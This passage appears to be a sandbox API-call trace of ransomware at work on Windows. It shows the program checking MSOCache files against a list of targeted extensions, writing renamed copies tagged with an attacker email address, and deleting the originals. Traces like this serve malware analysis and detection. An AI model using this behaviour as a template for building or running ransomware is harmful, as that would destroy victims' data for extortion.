lpNewFilePointer=0x0) returned 1 [0038.352] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc2c | out: lpNewFilePointer=0x0) returned 1 [0038.352] ReadFile (in: hFile=0x194, lpBuffer=0x3a80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a80058*, lpNumberOfBytesRead=0x303fc38*=0x40000, lpOverlapped=0x0) returned 1 [0038.376] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x4b5fee, lpNewFilePointer=0x0, dwMoveMethod=0x303fc2c | out: lpNewFilePointer=0x0) returned 1 [0038.376] ReadFile (in: hFile=0x194, lpBuffer=0x3ac0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ac0058*, lpNumberOfBytesRead=0x303fc38*=0x40000, lpOverlapped=0x0) returned 1 [0038.379] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x303fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0038.379] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xde1fcc, lpNewFilePointer=0x0, dwMoveMethod=0x303fc2c | out: lpNewFilePointer=0x0) returned 1 [0038.379] ReadFile (in: hFile=0x194, lpBuffer=0x3b00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b00058*, lpNumberOfBytesRead=0x303fc38*=0x40000, lpOverlapped=0x0) returned 1 [0038.923] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.923] WriteFile (in: hFile=0x194, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x303fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x303fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0038.935] SetEndOfFile (hFile=0x194) returned 1 [0038.935] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3fa52e8 [0039.125] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc7c | out: lpNewFilePointer=0x0) returned 1 [0039.125] WriteFile (in: hFile=0x194, lpBuffer=0x3fa52e8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa52e8*, lpNumberOfBytesWritten=0x303fc88*=0x40000, lpOverlapped=0x0) returned 1 [0039.177] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x4b5fee, lpNewFilePointer=0x0, dwMoveMethod=0x303fc7c | out: lpNewFilePointer=0x0) returned 1 [0039.177] WriteFile (in: hFile=0x194, lpBuffer=0x3fa52e8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa52e8*, lpNumberOfBytesWritten=0x303fc88*=0x40000, lpOverlapped=0x0) returned 1 [0039.178] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xde1fcc, lpNewFilePointer=0x0, dwMoveMethod=0x303fc7c | out: lpNewFilePointer=0x0) returned 1 [0039.178] WriteFile (in: hFile=0x194, lpBuffer=0x3fa52e8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa52e8*, lpNumberOfBytesWritten=0x303fc88*=0x40000, lpOverlapped=0x0) returned 1 [0039.179] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3fa52e8 | out: hHeap=0x510000) returned 1 [0039.181] CloseHandle (hObject=0x194) returned 1 [0042.151] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0042.152] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0042.152] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0042.152] lstrlenW (lpString=".doc") returned 4 [0042.152] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0042.152] lstrlenW (lpString=".docx") returned 5 [0042.152] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0042.152] lstrlenW (lpString=".pdf") returned 4 [0042.152] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0042.152] lstrlenW (lpString=".xls") returned 4 [0042.152] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0042.152] lstrlenW (lpString=".xlsx") returned 5 [0042.152] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0042.152] lstrlenW (lpString=".ppt") returned 4 [0042.152] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0042.152] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0042.152] lstrlenW (lpString=".zip") returned 4 [0042.152] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0042.152] lstrlenW (lpString=".rar") returned 4 [0042.152] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0042.152] lstrlenW (lpString=".bz2") returned 4 [0042.152] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0042.152] lstrlenW (lpString=".7z") returned 3 [0042.152] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0042.153] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0042.153] lstrlenW (lpString=".dbf") returned 4 [0042.153] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0042.153] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0042.153] lstrlenW (lpString=".1cd") returned 4 [0042.153] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0042.153] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0042.153] lstrlenW (lpString=".jpg") returned 4 [0042.153] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0042.153] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0042.153] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0042.153] lstrlenW (lpString=".doc") returned 4 [0042.153] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0042.153] lstrlenW (lpString=".docx") returned 5 [0042.153] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0042.153] lstrlenW (lpString=".pdf") returned 4 [0042.153] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0042.153] lstrlenW (lpString=".xls") returned 4 [0042.153] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0042.153] lstrlenW (lpString=".xlsx") returned 5 [0042.153] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0042.153] lstrlenW (lpString=".ppt") returned 4 [0042.153] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0042.153] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0042.153] lstrlenW (lpString=".zip") returned 4 [0042.153] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0042.153] lstrlenW (lpString=".rar") returned 4 [0042.153] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0042.153] lstrlenW (lpString=".bz2") returned 4 [0042.153] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0042.153] lstrlenW (lpString=".7z") returned 3 [0042.153] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0042.153] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0042.154] lstrlenW (lpString=".dbf") returned 4 [0042.154] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0042.154] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0042.154] lstrlenW (lpString=".1cd") returned 4 [0042.154] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0042.154] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0042.154] lstrlenW (lpString=".jpg") returned 4 [0042.154] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0042.154] lstrcmpiW (lpString1=".msi", lpString2=".Q1G") returned -1 [0042.154] lstrlenW (lpString="Proof.msi") returned 9 [0042.154] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0042.154] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=875520) returned 1 [0042.154] CloseHandle (hObject=0x194) returned 1 [0042.154] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi")) returned 0x2020 [0042.155] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0042.155] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0042.155] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.155] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.155] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0042.443] GetLastError () returned 0x0 [0042.443] ReadFile (in: hFile=0x194, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x303fed4*=0xd5c00, lpOverlapped=0x0) returned 1 [0042.552] WriteFile (in: hFile=0x208, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xd5c10, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x303fc9c*=0xd5c10, lpOverlapped=0x0) returned 1 [0042.568] ReadFile (in: hFile=0x194, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x303fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.568] WriteFile (in: hFile=0x208, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x303fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0042.568] SetEndOfFile (hFile=0x208) returned 1 [0042.568] CloseHandle (hObject=0x208) returned 1 [0042.857] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.857] SetEndOfFile (hFile=0x194) returned 1 [0042.864] CloseHandle (hObject=0x194) returned 1 [0042.864] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0042.864] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi")) returned 1 [0042.865] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0042.865] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0042.865] lstrlenW (lpString=".doc") returned 4 [0042.865] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0042.865] lstrlenW (lpString=".docx") returned 5 [0042.865] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0042.865] lstrlenW (lpString=".pdf") returned 4 [0042.865] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0042.865] lstrlenW (lpString=".xls") returned 4 [0042.865] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0042.865] lstrlenW (lpString=".xlsx") returned 5 [0042.865] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0042.865] lstrlenW (lpString=".ppt") returned 4 [0042.865] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0042.865] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0042.865] lstrlenW (lpString=".zip") returned 4 [0042.865] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0042.865] lstrlenW (lpString=".rar") returned 4 [0042.865] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0042.865] lstrlenW (lpString=".bz2") returned 4 [0042.865] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0042.865] lstrlenW (lpString=".7z") returned 3 [0042.865] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0042.865] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0042.865] lstrlenW (lpString=".dbf") returned 4 [0042.865] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0042.865] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0042.865] lstrlenW (lpString=".1cd") returned 4 [0042.865] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0042.865] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0042.866] lstrlenW (lpString=".jpg") returned 4 [0042.866] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0042.866] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0042.866] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0042.866] lstrlenW (lpString=".doc") returned 4 [0042.866] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0042.866] lstrlenW (lpString=".docx") returned 5 [0042.866] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0042.866] lstrlenW (lpString=".pdf") returned 4 [0042.866] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0042.866] lstrlenW (lpString=".xls") returned 4 [0042.866] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0042.866] lstrlenW (lpString=".xlsx") returned 5 [0042.866] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0042.866] lstrlenW (lpString=".ppt") returned 4 [0042.866] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0042.866] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0042.866] lstrlenW (lpString=".zip") returned 4 [0042.866] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0042.866] lstrlenW (lpString=".rar") returned 4 [0042.866] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0042.866] lstrlenW (lpString=".bz2") returned 4 [0042.866] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0042.866] lstrlenW (lpString=".7z") returned 3 [0042.866] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0042.866] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0042.866] lstrlenW (lpString=".dbf") returned 4 [0042.866] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0042.866] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0042.866] lstrlenW (lpString=".1cd") returned 4 [0042.866] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0042.866] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0042.866] lstrlenW (lpString=".jpg") returned 4 [0042.866] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0042.867] lstrcmpiW (lpString1=".msi", lpString2=".Q1G") returned -1 [0042.867] lstrlenW (lpString="Proof.msi") returned 9 [0042.867] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0042.867] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=881152) returned 1 [0042.867] CloseHandle (hObject=0x194) returned 1 [0042.867] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi")) returned 0x2020 [0042.867] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0042.867] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0042.867] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.867] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.867] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0043.242] GetLastError () returned 0x0 [0043.242] ReadFile (in: hFile=0x194, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x303fed4*=0xd7200, lpOverlapped=0x0) returned 1 [0043.261] WriteFile (in: hFile=0x1a8, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xd7210, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x303fc9c*=0xd7210, lpOverlapped=0x0) returned 1 [0043.277] ReadFile (in: hFile=0x194, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x303fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.277] WriteFile (in: hFile=0x1a8, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x303fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0043.278] SetEndOfFile (hFile=0x1a8) returned 1 [0043.278] CloseHandle (hObject=0x1a8) returned 1 [0043.284] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.284] SetEndOfFile (hFile=0x194) returned 1 [0043.494] CloseHandle (hObject=0x194) returned 1 [0043.494] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0043.579] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi")) returned 1 [0043.579] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0043.579] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0043.579] lstrlenW (lpString=".doc") returned 4 [0043.579] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0043.579] lstrlenW (lpString=".docx") returned 5 [0043.579] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0043.579] lstrlenW (lpString=".pdf") returned 4 [0043.579] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0043.579] lstrlenW (lpString=".xls") returned 4 [0043.580] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0043.580] lstrlenW (lpString=".xlsx") returned 5 [0043.580] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0043.580] lstrlenW (lpString=".ppt") returned 4 [0043.580] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0043.580] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0043.580] lstrlenW (lpString=".zip") returned 4 [0043.580] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0043.580] lstrlenW (lpString=".rar") returned 4 [0043.580] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0043.580] lstrlenW (lpString=".bz2") returned 4 [0043.580] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0043.580] lstrlenW (lpString=".7z") returned 3 [0043.580] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0043.580] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0043.580] lstrlenW (lpString=".dbf") returned 4 [0043.580] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0043.580] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0043.580] lstrlenW (lpString=".1cd") returned 4 [0043.580] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0043.580] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0043.580] lstrlenW (lpString=".jpg") returned 4 [0043.580] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0043.580] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0043.580] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0043.580] lstrlenW (lpString=".doc") returned 4 [0043.580] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0043.580] lstrlenW (lpString=".docx") returned 5 [0043.580] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0043.580] lstrlenW (lpString=".pdf") returned 4 [0043.580] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0043.580] lstrlenW (lpString=".xls") returned 4 [0043.580] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0043.580] lstrlenW (lpString=".xlsx") returned 5 [0043.581] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0043.581] lstrlenW (lpString=".ppt") returned 4 [0043.581] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0043.581] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0043.581] lstrlenW (lpString=".zip") returned 4 [0043.581] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0043.581] lstrlenW (lpString=".rar") returned 4 [0043.581] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0043.581] lstrlenW (lpString=".bz2") returned 4 [0043.581] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0043.581] lstrlenW (lpString=".7z") returned 3 [0043.581] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0043.581] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0043.581] lstrlenW (lpString=".dbf") returned 4 [0043.581] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0043.581] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0043.581] lstrlenW (lpString=".1cd") returned 4 [0043.581] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0043.581] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0043.581] lstrlenW (lpString=".jpg") returned 4 [0043.581] 